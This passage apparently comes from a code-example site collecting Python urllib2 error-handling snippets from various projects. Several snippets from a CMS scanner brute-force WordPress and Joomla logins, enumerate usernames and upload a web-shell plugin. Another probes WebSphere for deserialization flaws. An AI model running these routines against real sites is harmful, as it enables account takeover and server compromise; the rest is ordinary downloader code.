                wpUser = re.findall("/author/(.+?)/feed/", htmltext,re.IGNORECASE)
                if wpUser : self.usernames = wpUser + self.usernames                 
            except urllib2.HTTPError, e:
                #print e.code
                pass 
Example 48
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def WPForgottenPassword(self):
        # Username Enumeration via Forgotten Password
        query_args = {"user_login": "N0t3xist!1234"}
        data = urllib.urlencode(query_args)
        # HTTP POST Request
        req = urllib2.Request(self.url+self.forgottenPsw, data,self.headers)
        try:
            htmltext = urllib2.urlopen(req).read()
            if re.findall(re.compile('Invalid username'),htmltext):
                msg = "Forgotten Password Allows Username Enumeration: "+self.url+self.forgottenPsw; report.info(msg)        
        except urllib2.HTTPError, e:
            #print e.code
            pass 
Example 49
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def WPHello(self):
        try:
            req = urllib2.Request(self.url+"/wp-content/plugins/hello.php",None,self.headers)
            htmltext = urllib2.urlopen(req).read()
            fullPath = re.findall(re.compile('Fatal error.*>/(.+?/)hello.php'),htmltext)
            if fullPath :
                msg = "Wordpress Hello Plugin Full Path Disclosure: "+"/"+fullPath[0]+"hello.php"; report.low(msg)
        except urllib2.HTTPError, e:
            #print e.code
            pass 
Example 50
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def WPNotExisitingCode(self):
        req = urllib2.Request(self.url+self.pluginPath+"N0WayThatYouAreHere"+time.strftime('%d%m%H%M%S')+"/",None, self.headers)
        noRedirOpener = urllib2.build_opener(NoRedirects())       
        try:
            htmltext = noRedirOpener.open(req).read()
            print htmltext
            self.notValidLen.append(len(htmltext))
        except urllib2.HTTPError, e:
            self.notValidLen.append(len(e.read()))
            self.notExistingCode = e.code 
Example 51
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def WPXMLRPC_pingback(self):
        msg = "Checking XML-RPC Pingback Vulnerability ..."; report.verbose(msg)
        self.postdata = '''<methodCall><methodName>pingback.ping</methodName><params>
                        <param><value><string>http://N0tB3th3re0484940:22/</string></value></param>
                        <param><value><string>'''+self.url+'''</string></value></param>
                        </params></methodCall>'''
        try:
            req = urllib2.Request(self.url+'/xmlrpc.php',self.postdata,self.headers)
            opener = urllib2.build_opener(MyHandler())
            htmltext = opener.open(req).read()
            if re.search('<name>16</name>',htmltext):
                msg = "Website vulnerable to XML-RPC Pingback Force Vulnerability"; report.low(msg)
        except urllib2.HTTPError, e:
            #print e.code
            pass 
Example 52
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def JooTemplate(self):
        try:
            htmltext = urllib2.urlopen(self.url+'/index.php').read()
            WebTemplate = re.findall("/templates/(.+?)/", htmltext,re.IGNORECASE)
            htmltext = urllib2.urlopen(self.url+'/administrator/index.php').read()
            AdminTemplate = re.findall("/administrator/templates/(.+?)/", htmltext,re.IGNORECASE)
            if WebTemplate[0] : 
                msg = "Joomla Website Template: "+WebTemplate[0]; report.info(msg)
                searcher.query = WebTemplate[0]; searcher.Themes()
            if AdminTemplate[0] : 
                msg = "Joomla Administrator Template: "+AdminTemplate[0]; report.info(msg)
                searcher.query = AdminTemplate[0]; searcher.Themes()
        except urllib2.HTTPError, e:
            #print e.code
            pass 
Example 53
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def JooConfigFiles(self):
        for file in self.confFiles:
            req = urllib2.Request(self.url+"/configuration"+file)
            try:
                htmltext = urllib2.urlopen(req).read()
                if len(htmltext) not in self.notValidLen:
                    msg = "Configuration File Found: " +self.url+"/configuration"+file; report.high(msg)
            except urllib2.HTTPError, e:
                #print e.code
                pass 
Example 54
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def JooFeed(self):
        try:
            htmltext = urllib2.urlopen(self.url+'/?format=feed').read()
            jooUsers = re.findall("<author>(.+?) \((.+?)\)</author>", htmltext,re.IGNORECASE)
            if jooUsers: 
                msg = "Enumerating Joomla Usernames via \"Feed\" ..."; report.message(msg)
                jooUsers = sorted(set(jooUsers))
                for user in jooUsers :
                    self.usernames.append(user[1])
                    msg =  user[1]+" "+user[0]; report.info(msg)
        except urllib2.HTTPError, e:
            #print e.code
            pass 
Example 55
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def JooNotExisitingCode(self):
        req = urllib2.Request(self.url+self.pluginPath+"/N0WayThatYouAreHere"+time.strftime('%d%m%H%M%S')+"/",None, self.headers)
        noRedirOpener = urllib2.build_opener(NoRedirects())        
        try:
            htmltext = noRedirOpener.open(req).read()
            self.notValidLen.append(len(htmltext))
        except urllib2.HTTPError, e:
            #print e.code
            self.notValidLen.append(len(e.read()))
            self.notExistingCode = e.code 
Example 56
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def JooModulesIndex(self):
        try:
            req = urllib2.Request(self.url,None,self.headers)
            htmltext = urllib2.urlopen(req).read()
            self.pluginsFound = re.findall(re.compile('/modules/(.+?)/'),htmltext)
            self.pluginsFound = sorted(set(self.pluginsFound))
        except urllib2.HTTPError, e:
            #print e.code
            pass 
Example 57
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def DruCurrentTheme(self):
        try:
            htmltext = urllib2.urlopen(self.url+'/index.php').read()
            DruTheme = re.findall("/themes/(.+?)/", htmltext,re.IGNORECASE)
            if DruTheme :
                self.Drutheme = DruTheme[0]
                msg = "Drupal Theme: "+ self.Drutheme ; report.info(msg)
                searcher.query = [self.Drutheme] ; searcher.Themes()
            return DruTheme[0]
        except urllib2.HTTPError, e:
            #print e.code
            pass 
Example 58
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def DruForgottenPassword(self):
        # Username Enumeration via Forgotten Password
        query_args = {"name": "N0t3xist!1234" ,"form_id":"user_pass"}
        data = urllib.urlencode(query_args)
        # HTTP POST Request
        req = urllib2.Request(self.url+self.forgottenPsw, data)
        #print "[*] Trying Credentials: "+user+" "+pwd
        try:
            htmltext = urllib2.urlopen(req).read()
            if re.findall(re.compile('Sorry,.*N0t3xist!1234.*is not recognized'),htmltext):
                msg = "Forgotten Password Allows Username Enumeration: "+self.url+self.forgottenPsw; report.info(msg)
                report.WriteTextFile(msg)        
        except urllib2.HTTPError, e:
            #print e.code
            pass 
Example 59
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def DruNotExisitingCode(self):
        req = urllib2.Request(self.url+self.pluginPath+"/N0WayThatYouAreHere"+time.strftime('%d%m%H%M%S')+"/",None, self.headers)
        noRedirOpener = urllib2.build_opener(NoRedirects())        
        try:
            htmltext = noRedirOpener.open(req).read()
            self.notValidLen.append(len(htmltext))
        except urllib2.HTTPError, e:
            #print e.code
            self.notValidLen.append(len(e.read()))
            self.notExistingCode = e.code 
Example 60
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def redirect_request(self, req, fp, code, msg, headers, newurl):
        RedirError = urllib2.HTTPError(req.get_full_url(), code, msg, headers, fp)
        RedirError.status = code
        raise RedirError 
Example 61
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def run(self):
        while True:
            # Get plugin from plugin queue
            plugin = self.q.get()
            req = urllib2.Request(self.url+self.pluginPath+plugin+self.pluginPathEnd,None,self.headers)
            noRedirOpener = urllib2.build_opener(NoRedirects())
            try:
                noRedirOpener.open(req); self.pluginsFound.append(plugin)
            except urllib2.HTTPError, e:
                if e.code != self.notExistingCode and len(e.read()) not in self.notValidLen : self.pluginsFound.append(plugin)
            except urllib2.URLError, e:
                msg = "Thread Error: If this error persists, reduce number of threads"; print report.info(msg) 
Example 62
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def WPrun(self):
            self.wplogin = "/wp-login.php"
            usersFound = []
            for user in self.usrlist:
                cookieJar = cookielib.CookieJar()
                cookieHandler = urllib2.HTTPCookieProcessor(cookieJar)
                opener = urllib2.build_opener(cookieHandler)
                opener.addheaders = [('User-agent', agent)]
                cookieJar.clear()
                self.pswlist.append(user) # try username as password
                for pwd in self.pswlist:
                    query_args = {"log": user ,"pwd": pwd, "wp-submit":"Log+In"}
                    data = urllib.urlencode(query_args)
                    msg = "Trying Credentials: "+user+" "+pwd; report.verbose(msg)
                    try:
                        # HTTP POST Request
                        htmltext = opener.open(self.url+self.wplogin, data).read()
                        if re.search('<strong>ERROR</strong>: Invalid username',htmltext):
                            msg = "Invalid Username: "+user; report.message(msg)
                            break
                        elif re.search('username <strong>(.+?)</strong> is incorrect.',htmltext):
                            usersFound.append(user)
                        elif re.search('ERROR.*block.*',htmltext,re.IGNORECASE):
                            msg = "Account Lockout Enabled: Your IP address has been temporary blocked. Try it later or from a different IP address"; report.error(msg)
                            return
                        elif re.search('dashboard',htmltext,re.IGNORECASE):
                            msg = "Valid Credentials: "+user+" "+pwd; report.high(msg)
                            self.WPValidCredentials.append([user,pwd])                       
                    except urllib2.HTTPError, e:
                        #print e.code
                        pass
                self.pswlist.pop() # remove user
            # Try to upload a web shell with the discovered credentials 
Example 63
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def Joorun(self):
            # It manages token and Cookies
            self.joologin = "/administrator/index.php"
            self.JooValidCredentials = []
            for user in self.usrlist:
                cookieJar = cookielib.CookieJar()
                cookieHandler = urllib2.HTTPCookieProcessor(cookieJar)
                opener = urllib2.build_opener(cookieHandler)
                opener.addheaders = [('User-agent',agent)]
                cookieJar.clear()
                # Get Token and Session Cookie
                htmltext = opener.open(self.url+self.joologin).read()
                reg = re.compile('<input type="hidden" name="([a-zA-z0-9]{32})" value="1"')
                if reg.search(htmltext) is not None:
                    token = reg.search(htmltext).group(1)
                    self.pswlist.append(user) # try username as password
                    for pwd in self.pswlist:
                        # Send Post With Token and Session Cookie
                        query_args = {"username": user ,"passwd": pwd, "option":"com_login","task":"login",token:"1"}
                        data = urllib.urlencode(query_args)
                        msg = "Trying Credentials: "+user+" "+pwd; report.verbose(msg)
                        try:
                            htmltext = opener.open(self.url+self.joologin, data).read()
                            if re.findall(re.compile('Joomla - Administration - Control Panel'),htmltext):
                                msg = "Valid Credentials: "+user+" "+pwd; report.high(msg)
                                self.JooValidCredentials.append([user,pwd])
                        except urllib2.HTTPError, e:
                            #print e.code
                            pass
                    self.pswlist.pop() # remove user
            # Try to upload a web shell with the discovered credentials 
Example 64
Project: rebel-framework   Author: reb311ion   File: cmsmap.py    GNU General Public License v3.0 5 votes vote down vote up
def WPShell(self,user,password):
        self.wplogin = "/wp-login.php"
        self.wpupload = "/wp-admin/update.php?action=upload-plugin"
        self.wppluginpage = "/wp-admin/plugin-install.php?tab=upload"
        self.query_args_login = {"log": user ,"pwd": password, "wp-submit":"Log+In"}
        # Set cookies
        cookieJar = cookielib.CookieJar()
        cookieHandler = urllib2.HTTPCookieProcessor(cookieJar)
        opener = urllib2.build_opener(cookieHandler,multipartpost.MultipartPostHandler)
        opener.addheaders = [('User-agent',agent)]
        cookieJar.clear()
        try: 
            # Login in WordPress - HTTP Post
            msg ="Logging in to the target website as "+user+":"+password; report.message(msg)
            opener.open(self.url+self.wplogin, urllib.urlencode(self.query_args_login))
            # Request WordPress Plugin Upload page
            htmltext = opener.open(self.url+self.wppluginpage).read()
            self.wpnonce = re.findall(re.compile('name="_wpnonce" value="(.+?)"'),htmltext)
            # Upload Plugin
            self.params = { "_wpnonce" : self.wpnonce[0],"pluginzip" : open("shell/wp-shell.zip", "rb") , "install-plugin-submit":"Install Now"}
            htmltext = opener.open(self.url+self.wpupload, self.params).read()
            if re.search("Plugin installed successfully",htmltext):
                msg = "WordPress Shell Plugin Was Successfully Installed!"; report.high(msg)
                msg = "Web Shell: "+self.url+"/wp-content/plugins/wp-shell/shell.php"; report.high(msg)
                msg = "Remember to delete WordPress Shell Plugin"; report.high(msg)
                pass
            else:
                msg = "Unable to upload a shell. Try it manually"; report.error(msg)
        
        except urllib2.HTTPError, e:
            #print e.code
            msg = "Unable to upload a shell. Probably you are not an admin."; report.error(msg)
            pass 
Example 65
Project: incubator-spot   Author: apache   File: fb.py    Apache License 2.0 4 votes vote down vote up
def _request_reputation(self, data, name):
        reputation_dict = {}
        token = "{0}|{1}".format(self._fb_app_id, self._fb_app_secret)
        request_body = {
            'access_token': token,
            'batch': data
        }
        
        request_body = urllib.urlencode(request_body)

        url = "https://graph.facebook.com/"
        content_type = {'Content-Type': 'application/json'}
        request = urllib2.Request(url, request_body, content_type)

        try:
            str_response = urllib2.urlopen(request).read()
            response = json.loads(str_response)
        except urllib2.HTTPError as e:
            self._logger.info("Error calling ThreatExchange in module fb: " + e.message)
            reputation_dict[name] = self._get_reputation_label('UNKNOWN')
            return reputation_dict

        for row in response:
            if row is None:
                continue

            if row['code'] != 200:
                reputation_dict[name] = self._get_reputation_label('UNKNOWN')
                return reputation_dict
            if 'body' in row: 
                try:
                    row_response = json.loads(row['body']) 
                except ValueError as e:
                    self._logger.error("Error reading JSON body response in fb module: " + e.message)

                if 'data' in row_response and row_response['data'] != []: 
                    row_response_data = row_response['data']
                    name = row_response_data[0]['indicator']['indicator']
                    reputation_dict[name] = self._get_reputation_label(row_response_data[0]['status'])
                else:
                    reputation_dict[name] = self._get_reputation_label('UNKNOWN')
            else:
                reputation_dict[name] = self._get_reputation_label('UNKNOWN')

        return reputation_dict 
Example 66
Project: alfred-yubikey-otp   Author: robertoriv   File: web.py    MIT License 4 votes vote down vote up
def __init__(self, request, stream=False):
        """Call `request` with :mod:`urllib2` and process results.

        :param request: :class:`urllib2.Request` instance
        :param stream: Whether to stream response or retrieve it all at once
        :type stream: bool

        """
        self.request = request
        self._stream = stream
        self.url = None
        self.raw = None
        self._encoding = None
        self.error = None
        self.status_code = None
        self.reason = None
        self.headers = CaseInsensitiveDictionary()
        self._content = None
        self._content_loaded = False
        self._gzipped = False

        # Execute query
        try:
            self.raw = urllib2.urlopen(request)
        except urllib2.HTTPError as err:
            self.error = err
            try:
                self.url = err.geturl()
            # sometimes (e.g. when authentication fails)
            # urllib can't get a URL from an HTTPError
            # This behaviour changes across Python versions,
            # so no test cover (it isn't important).
            except AttributeError:  # pragma: no cover
                pass
            self.status_code = err.code
        else:
            self.status_code = self.raw.getcode()
            self.url = self.raw.geturl()
        self.reason = RESPONSES.get(self.status_code)

        # Parse additional info if request succeeded
        if not self.error:
            headers = self.raw.info()
            self.transfer_encoding = headers.getencoding()
            self.mimetype = headers.gettype()
            for key in headers.keys():
                self.headers[key.lower()] = headers.get(key)

            # Is content gzipped?
            # Transfer-Encoding appears to not be used in the wild
            # (contrary to the HTTP standard), but no harm in testing
            # for it
            if ('gzip' in headers.get('content-encoding', '') or
                    'gzip' in headers.get('transfer-encoding', '')):
                self._gzipped = True 
Example 67
Project: pyblish-win   Author: pyblish   File: register.py    GNU Lesser General Public License v3.0 4 votes vote down vote up
def post_to_server(self, data, auth=None):
        ''' Post a query to the server, and return a string response.
        '''
        if 'name' in data:
            self.announce('Registering %s to %s' % (data['name'],
                                                   self.repository),
                                                   log.INFO)
        # Build up the MIME payload for the urllib2 POST data
        boundary = '--------------GHSKFJDLGDS7543FJKLFHRE75642756743254'
        sep_boundary = '\n--' + boundary
        end_boundary = sep_boundary + '--'
        chunks = []
        for key, value in data.items():
            # handle multiple entries for the same name
            if type(value) not in (type([]), type( () )):
                value = [value]
            for value in value:
                chunks.append(sep_boundary)
                chunks.append('\nContent-Disposition: form-data; name="%s"'%key)
                chunks.append("\n\n")
                chunks.append(value)
                if value and value[-1] == '\r':
                    chunks.append('\n')  # write an extra newline (lurve Macs)
        chunks.append(end_boundary)
        chunks.append("\n")

        # chunks may be bytes (str) or unicode objects that we need to encode
        body = []
        for chunk in chunks:
            if isinstance(chunk, unicode):
                body.append(chunk.encode('utf-8'))
            else:
                body.append(chunk)

        body = ''.join(body)

        # build the Request
        headers = {
            'Content-type': 'multipart/form-data; boundary=%s; charset=utf-8'%boundary,
            'Content-length': str(len(body))
        }
        req = urllib2.Request(self.repository, body, headers)

        # handle HTTP and include the Basic Auth handler
        opener = urllib2.build_opener(
            urllib2.HTTPBasicAuthHandler(password_mgr=auth)
        )
        data = ''
        try:
            result = opener.open(req)
        except urllib2.HTTPError, e:
            if self.show_response:
                data = e.fp.read()
            result = e.code, e.msg 
Example 68
Project: wechat-alfred-workflow   Author: TKkk-iOSer   File: web.py    MIT License 4 votes vote down vote up
def __init__(self, request, stream=False):
        """Call `request` with :mod:`urllib2` and process results.

        :param request: :class:`urllib2.Request` instance
        :param stream: Whether to stream response or retrieve it all at once
        :type stream: bool

        """
        self.request = request
        self._stream = stream
        self.url = None
        self.raw = None
        self._encoding = None
        self.error = None
        self.status_code = None
        self.reason = None
        self.headers = CaseInsensitiveDictionary()
        self._content = None
        self._content_loaded = False
        self._gzipped = False

        # Execute query
        try:
            self.raw = urllib2.urlopen(request)
        except urllib2.HTTPError as err:
            self.error = err
            try:
                self.url = err.geturl()
            # sometimes (e.g. when authentication fails)
            # urllib can't get a URL from an HTTPError
            # This behaviour changes across Python versions,
            # so no test cover (it isn't important).
            except AttributeError:  # pragma: no cover
                pass
            self.status_code = err.code
        else:
            self.status_code = self.raw.getcode()
            self.url = self.raw.geturl()
        self.reason = RESPONSES.get(self.status_code)

        # Parse additional info if request succeeded
        if not self.error:
            headers = self.raw.info()
            self.transfer_encoding = headers.getencoding()
            self.mimetype = headers.gettype()
            for key in headers.keys():
                self.headers[key.lower()] = headers.get(key)

            # Is content gzipped?
            # Transfer-Encoding appears to not be used in the wild
            # (contrary to the HTTP standard), but no harm in testing
            # for it
            if ('gzip' in headers.get('content-encoding', '') or
                    'gzip' in headers.get('transfer-encoding', '')):
                self._gzipped = True 
Example 69
Project: alfred-urban-dictionary   Author: xilopaint   File: web.py    MIT License 4 votes vote down vote up
def __init__(self, request, stream=False):
        """Call `request` with :mod:`urllib2` and process results.

        :param request: :class:`urllib2.Request` instance
        :param stream: Whether to stream response or retrieve it all at once
        :type stream: bool

        """
        self.request = request
        self._stream = stream
        self.url = None
        self.raw = None
        self._encoding = None
        self.error = None
        self.status_code = None
        self.reason = None
        self.headers = CaseInsensitiveDictionary()
        self._content = None
        self._content_loaded = False
        self._gzipped = False

        # Execute query
        try:
            self.raw = urllib2.urlopen(request)
        except urllib2.HTTPError as err:
            self.error = err
            try:
                self.url = err.geturl()
            # sometimes (e.g. when authentication fails)
            # urllib can't get a URL from an HTTPError
            # This behaviour changes across Python versions,
            # so no test cover (it isn't important).
            except AttributeError:  # pragma: no cover
                pass
            self.status_code = err.code
        else:
            self.status_code = self.raw.getcode()
            self.url = self.raw.geturl()
        self.reason = RESPONSES.get(self.status_code)

        # Parse additional info if request succeeded
        if not self.error:
            headers = self.raw.info()
            self.transfer_encoding = headers.getencoding()
            self.mimetype = headers.gettype()
            for key in headers.keys():
                self.headers[key.lower()] = headers.get(key)

            # Is content gzipped?
            # Transfer-Encoding appears to not be used in the wild
            # (contrary to the HTTP standard), but no harm in testing
            # for it
            if ('gzip' in headers.get('content-encoding', '') or
                    'gzip' in headers.get('transfer-encoding', '')):
                self._gzipped = True 
Example 70
Project: multi-dimensional-topic-model   Author: LaoWang-Lab   File: wikirandom.py    MIT License 4 votes vote down vote up
def get_random_wikipedia_article():
    """
    Downloads a randomly selected Wikipedia article (via
    http://en.wikipedia.org/wiki/Special:Random) and strips out (most
    of) the formatting, links, etc. 

    This function is a bit simpler and less robust than the code that
    was used for the experiments in "Online VB for LDA."
    """
    failed = True
    while failed:
        articletitle = None
        failed = False
        try:
            req = urllib2.Request('http://en.wikipedia.org/wiki/Special:Random',
                                  None, { 'User-Agent' : 'x'})
            f = urllib2.urlopen(req)
            while not articletitle:
                line = f.readline()
                result = re.search(r'title="Edit this page" href="/w/index.php\?title=(.*)\&amp;action=edit" /\>', line)
                if (result):
                    articletitle = result.group(1)
                    break
                elif (len(line) < 1):
                    sys.exit(1)

            req = urllib2.Request('http://en.wikipedia.org/w/index.php?title=Special:Export/%s&action=submit' \
                                      % (articletitle),
                                  None, { 'User-Agent' : 'x'})
            f = urllib2.urlopen(req)
            all = f.read()
        except (urllib2.HTTPError, urllib2.URLError):
            print('oops. there was a failure downloading %s. retrying...' \
                % articletitle)
            failed = True
            continue
        print('downloaded %s. parsing...' % articletitle)

        try:
            all = re.search(r'<text.*?>(.*)</text', all, flags=re.DOTALL).group(1)
            all = re.sub(r'\n', ' ', all)
            all = re.sub(r'\{\{.*?\}\}', r'', all)
            all = re.sub(r'\[\[Category:.*', '', all)
            all = re.sub(r'==\s*[Ss]ource\s*==.*', '', all)
            all = re.sub(r'==\s*[Rr]eferences\s*==.*', '', all)
            all = re.sub(r'==\s*[Ee]xternal [Ll]inks\s*==.*', '', all)
            all = re.sub(r'==\s*[Ee]xternal [Ll]inks and [Rr]eferences==\s*', '', all)
            all = re.sub(r'==\s*[Ss]ee [Aa]lso\s*==.*', '', all)
            all = re.sub(r'http://[^\s]*', '', all)
            all = re.sub(r'\[\[Image:.*?\]\]', '', all)
            all = re.sub(r'Image:.*?\|', '', all)
            all = re.sub(r'\[\[.*?\|*([^\|]*?)\]\]', r'\1', all)
            all = re.sub(r'\&lt;.*?&gt;', '', all)
        except:
            # Something went wrong, try again. (This is bad coding practice.)
            print('oops. there was a failure parsing %s. retrying...' \
                % articletitle)
            failed = True
            continue

    return(all, articletitle) 
Example 71
Project: rgc   Author: TACC   File: __init__.py    BSD 3-Clause "New" or "Revised" License 4 votes vote down vote up
def validateURL(self, url, include_libs=False):
		'''
		Adds url to the self.invalid set when a URL is invalid and
		self.valid when a URL work.

		By default, containers designated as libraries on bio.tools
		are excluded.
		
		# Parameters
		url (str): Image url used to pull
		include_libs (bool): Include containers of libraries

		# Attributes
		self.valid (set): Where valid URLs are stored
		self.invalid (set): Where invalid URLs are stored
		'''
		name, tag = url.split('/')[-1].split(':')
		if not include_libs:
			# See if it is a bio lib
			md_url = "https://dev.bio.tools/api/tool/%s?format=json"%(name)
			try:
				resp_json = json.loads(translate(urllib2.urlopen(md_url).read()))
				types = [v for v in resp_json['toolType']]
				if types == ['Library']:
					self.invalid.add(url)
					self.logger.debug("Excluding %s, which is a library"%(url))
					return
			except urllib2.HTTPError:
				pass
			## Check for pypi lib
			#if name not in set(('ubuntu','singularity','bowtie','centos')):
			#	try:
			#		code = urllib2.urlopen('https://pypi.org/pypi/%s/json'%(name)).getcode()
			#		if int(code) == 200:
			#			self.invalid.add(url)
			#			self.logger.debug("Excluding %s, which is a pypi package"%(url))
			#			return
			#	except urllib2.HTTPError:
			#		pass
		if tag not in self._getTags(url):
			self.logger.warning("%s not found in %s"%(tag, self._getTags(url)))
			self.invalid.add(url)
			self.logger.warning("%s is an invalid URL"%(url))
		else:
			self.logger.debug("%s is valid"%(url))
			self.valid.add(url) 
Example 72
Project: rgc   Author: TACC   File: __init__.py    BSD 3-Clause "New" or "Revised" License 4 votes vote down vote up
def _getMetadata(self, url):
		'''
		Assuming the image is a biocontainer,

		 - `self.categories[url]`
		 - `self.keywords[url]`
		 - `self.description[url]`
		 - `self.homepage[url]`

		are set after querying https://dev.bio.tools

		# Parameters
		url (str): Image url used to pull
		'''
		if url in self.description and url in self.keywords and url in self.description:
			return
		if url not in self.name_tag: self._getNameTag(url)
		name = self.name_tag[url][0]
		self.homepage[url] = False
		try:
			# Check dev.bio.tools
			md_url = "https://dev.bio.tools/api/tool/%s?format=json"%(name)
			resp_json = json.loads(translate(urllib2.urlopen(md_url).read()))
			topics = [topic['term'] for topic in resp_json['topic']]
			topics = [t for t in topics if t != 'N/A']
			functions = [o['term'] for f in resp_json['function'] for o in f['operation']]
			desc = resp_json['description']
			if 'homepage' in resp_json: self.homepage[url] = resp_json['homepage']
		except urllib2.HTTPError:
			try:
				# Check Launchpad
				md_url = "https://api.launchpad.net/devel/%s"%(name)
				resp_json = json.loads(translate(urllib2.urlopen(md_url).read()))
				desc = resp_json['description']
				self.homepage[url] = resp_json['homepage_url']
				topics = ["Biocontainer"]
				functions = ["Bioinformatics"]
			except:
				# Default values
				self.logger.debug("No record of %s on dev.bio.tools"%(name))
				functions = ["Bioinformatics"]
				topics = ["Biocontainer"]
				desc = "The %s package"%(name)
		self.categories[url] = functions
		self.keywords[url] = topics
		self.description[url] = desc 
Example 73
Project: epschedule   Author: guberti   File: download_encrypt_crop_photos.py    MIT License 4 votes vote down vote up
def download_cleartext_photos(folder):
    for student in SCHEDULES:
        photo_url = "http://four11.eastsideprep.org/system/"
        if (student["grade"] != None):
            photo_url += "students"
        else:
            photo_url += "teachers"
        photo_url += "/idphotos/000/00"

        sid = str(student['sid'])

        if (len(sid) == 3):
            photo_url += "0/" + sid
        else: # If length is 4
            photo_url += sid[0] + "/" + sid[1:]

        photo_url += "/medium/"

        last = student["lastname"].replace(" ", "_").replace(".", "")
        first = student["firstname"].replace(" ", "_").replace(".", "")

        primary_url = photo_url + last + "__" + first + ".jpg"
        backup_url = photo_url + last + "_" + first + "_" + sid + ".jpg"

        filepath = folder + "/" + student["username"] + ".jpg"
        print "Downloaded " + photo_url + " to " + filepath

        # Now try each url
        try:
            download_photo(primary_url, filepath)
            print("Downloaded " + student["username"] + " with primary url")
            continue
        except urllib2.HTTPError:
            print("Received an error")
        try:
            download_photo(backup_url, filepath)
            print("Downloaded " + student["username"] + " with BACKUP url")
            continue
        except urllib2.HTTPError:
            print("Received an error")
        print("UNABLE to download " + student["username"])

    print("Downloaded " + str(len(SCHEDULES)) + " photos") 
Example 74
Project: freshpaper   Author: guptarohit   File: freshpaper.py    BSD 3-Clause "New" or "Revised" License 4 votes vote down vote up
def download_image_bing(download_dir, image_extension="jpg"):
    """
    Download & save the image
    :param download_dir: directory where to download the image
    :param image_extension: directory where to download the image
    :return: downloaded image path
    """
    # mkt(s) HIN, EN-IN

    url = "http://www.bing.com/HPImageArchive.aspx?format=js&idx=0&n=1&mkt=EN-IN"

    try:
        image_data = json.loads(urlopen(url).read().decode("utf-8"))

        image_url = "http://www.bing.com" + image_data["images"][0]["url"]

        image_name = re.search(r"OHR\.(.*?)_", image_url).group(1)

        image_url_hd = "http://www.bing.com/hpwp/" + image_data["images"][0]["hsh"]
        date_time = datetime.now().strftime("%d_%m_%Y")
        image_file_name = "{image_name}_{date_stamp}.{extention}".format(
            image_name=image_name, date_stamp=date_time, extention=image_extension
        )

        image_path = os.path.join(os.sep, download_dir, image_file_name)
        log.debug("download_dir: {}".format(download_dir))
        log.debug("image_file_name: {}".format(image_file_name))
        log.debug("image_path: {}".format(image_path))

        if os.path.isfile(image_path):
            log.info("No new wallpaper yet..updating to latest one.\n")
            return image_path

        try:
            log.info("Downloading..")
            urlretrieve(image_url_hd, filename=image_path)
        except HTTPError:
            log.info("Downloading...")
            urlretrieve(image_url, filename=image_path)
        return image_path
    except URLError:
        log.error("Something went wrong..\nMaybe Internet is not working...")
        raise ConnectionError 
Example 75
Project: freshpaper   Author: guptarohit   File: freshpaper.py    BSD 3-Clause "New" or "Revised" License 4 votes vote down vote up
def download_image_nasa(download_dir, image_extension="jpg"):
    """
    Download & save the image
    :param download_dir: directory where to download the image
    :param image_extension: directory where to download the image
    :return: downloaded image path
    """

    url = "https://api.nasa.gov/planetary/apod?api_key=DEMO_KEY"

    try:
        image_data = json.loads(urlopen(url).read().decode("utf-8"))
        if image_data.get("media_type") != "image":
            log.info("No NASA image of the day available. It can be a video.\n")
            return None
        image_url = image_data.get("url")

        image_name = image_data.get("title").split(" ")[0]

        image_url_hd = image_data.get("hdurl")
        date_time = datetime.now().strftime("%d_%m_%Y")
        image_file_name = "{image_name}_{date_stamp}.{extention}".format(
            image_name=image_name, date_stamp=date_time, extention=image_extension
        )

        image_path = os.path.join(os.sep, download_dir, image_file_name)
        log.debug("download_dir: {}".format(download_dir))
        log.debug("image_file_name: {}".format(image_file_name))
        log.debug("image_path: {}".format(image_path))

        if os.path.isfile(image_path):
            log.info("No new wallpaper yet..updating to latest one.\n")
            return image_path

        try:
            log.info("Downloading..")
            urlretrieve(image_url_hd, filename=image_path)
        except HTTPError:
            log.info("Downloading...")
            urlretrieve(image_url, filename=image_path)
        return image_path
    except URLError:
        log.error("Something went wrong..\nMaybe Internet is not working...")
        raise ConnectionError 
Example 76
Project: serializekiller   Author: johndekroon   File: serializekiller.py    The Unlicense 4 votes vote down vote up
def websphere(url, port, retry=False):
    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        output = urllib2.urlopen(
            'https://' + url + ":" + port,
            context=ctx,
            timeout=8).read()
        if "rO0AB" in output:
            mutex.acquire()
            print " - (possibly) Vulnerable Websphere: " + url + " (" + port + ")"
            saveToFile('[+] Websphere: ' + url + ':' + port + '\n')
            mutex.release()
            return True
    except urllib2.HTTPError as e:
        if e.getcode() == 500:
            if "rO0AB" in e.read():
                mutex.acquire()
                print " - (possibly) Vulnerable Websphere: " + url + " (" + port + ")"
                saveToFile('[+] Websphere: ' + url + ':' + port + '\n')
                mutex.release()
                return True
    except:
        pass

    try:
        output = urllib2.urlopen(
            'http://' + url + ":" + port,
            timeout=3).read()
        if "rO0AB" in output:
            mutex.acquire()
            print " - (possibly) Vulnerable Websphere: " + url + " (" + port + ")"
